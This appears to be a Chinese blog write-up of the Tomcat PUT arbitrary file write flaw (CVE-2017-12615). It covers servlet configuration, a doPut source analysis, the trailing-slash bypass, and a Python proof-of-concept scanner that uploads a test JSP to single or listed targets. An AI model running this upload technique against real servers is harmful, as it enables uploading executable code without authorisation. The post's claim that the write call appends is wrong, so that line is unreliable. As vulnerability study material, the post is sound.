Tomcat任意文件写入(CVE-2017-12615)
影响范围:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)
当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
Tomcat 在处理请求时有两个默认的 Servlet,一个是 DefaultServelt,另一个是JspServlet。两个 Servlet 被配置在 Tomcat 的 web.xml 中。
<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet>
<servlet> <servlet-name>jsp</servlet-name> <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> <init-param> <param-name>fork</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>xpoweredBy</param-name> <param-value>false</param-value> </init-param> <load-on-startup>3</load-on-startup> </servlet
DefaultServelt与JspServlet的映射规则
<servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <!-- The mappings for the JSP servlet --> <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern>
</servlet-mapping>
在DefaultServlet中有对put请求的处理方法,代码如下
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {if (this.readOnly) {resp.sendError(403);} else {String path = this.getRelativePath(req);WebResource resource = this.resources.getResource(path);DefaultServlet.Range range = this.parseContentRange(req, resp);Object resourceInputStream = null;
try {if (range != null) {File contentFile = this.executePartialPut(req, range, path);resourceInputStream = new FileInputStream(contentFile);} else {resourceInputStream = req.getInputStream();}
if (this.resources.write(path, (InputStream)resourceInputStream, true)) {if (resource.exists()) {resp.setStatus(204);} else {resp.setStatus(201);}} else {resp.sendError(409);}} finally {if (resourceInputStream != null) {try {((InputStream)resourceInputStream).close();} catch (IOException var13) {}}
}
}
这段代码是一个Java Servlet中的
doPut()
方法,用于处理HTTP PUT请求。具体来说,它用于更新或创建Web资源。首先,代码检查了是否设置为只读模式。如果是只读模式,则通过
resp.sendError(403)
返回HTTP 403 Forbidden错误。如果不是只读模式,则继续执行PUT请求的处理逻辑。首先,获取请求路径
path
,然后使用this.resources.getResource(path)
从资源管理器中获取与该路径对应的Web资源对象,赋值给resource
变量。接下来,代码解析
Content-Range
请求头,以确定PUT请求的范围。如果存在范围,则执行部分更新操作,并将更新后的内容写入到临时文件中。然后,将该临时文件作为输入流赋值给resourceInputStream
变量。如果没有范围,则直接使用请求的输入流作为resourceInputStream
。然后,代码调用
this.resources.write(path, (InputStream)resourceInputStream, true)
方法,将输入流中的内容写入到指定的Web资源中。如果写入成功,则根据资源是否已存在返回相应的HTTP状态码(204表示资源已存在且成功更新,201表示资源创建成功)。如果写入失败,则返回HTTP 409 Conflict错误。最后,在
finally
块中关闭resourceInputStream
流。请注意,我们无法提供完整的上下文,因此某些调用的具体实现细节可能无法确定。以上是根据提供的代码片段给出的大致解释。如果需要更多具体细节,请提供相关代码的完整上下文。
该方法的开端就判断了一个 readOnly 属性,当结果为 true 时会直接返回 403,但如果readOnly为false 那这段程序处理的逻辑是怎样的?
在web.xml将这个类(DefaultServlet)的readOnly设置为false
<init-param> <param-name>readonly</param-name> <param-value>false</param-value>
</init-param>
关键的代码在于 resources.write(path, resourceInputStream, true)
的作用是将resourceInputStream
中的资源内容写入到指定的path
路径中的文件中,并且以追加的方式进行写入操作。
这里就有理由怀疑是否存在任意文件上传漏洞了,因为path与resourceInputStream为用户可控。
具体的漏洞利用复现请参考下面的文章,写的非常棒!
Tomcat任意文件写入(CVE-2017-12615)漏洞复现-含POC和EXP - 纸机 - 博客园 (cnblogs.com)https://www.cnblogs.com/confidant/p/15440233.html
注1:这里提一下的为什么要get /1.jsp/而不是/1.jsp,因为当请求路径为/1.jsp/
时,首先根据</servlet-mapping>,匹配到的是default,若请求路径为`/1.jsp则匹配的servlet为jsp,这样就无法进入doput方法。
注2:获取靶场环境中catalina包(内含defaultservlet)。将此容器环境中tomcat的catalina包拉取,拉取下来做代码分析。
最后学习大佬的poc编写
#CVE-2017-12615 POC
__author__ = '纸机'
import requests
import optparse
import os
parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')
options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')
filename = '/hello.jsp'
#测试数据
data = 'hello'
#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)
#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):try:response = requests.put(url+filename+'/',data=data)return 1except Exception as e:print("[-] {0} 连接失败".format(url))return 0
def checking(url):try:#验证文件是否上传成功response = requests.get(url+filename)#print(url+filename)if response.status_code == 200 and 'hello' in response.text:print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))else:print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))except Exception as e:#print(e)print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):with open(options.FILE) as f:urls = f.readlines()#print(urls)for url in urls:url = str(url).replace('\n', '').replace('\r', '').strip()if upload(url) == 1:checking(url)
elif options.FILE and not os.path.exists(options.FILE):print('[-] {0} 文件不存在'.format(options.FILE))
else:#上传链接url = options.URL+':'+options.PORTif upload(url) == 1:checking(url)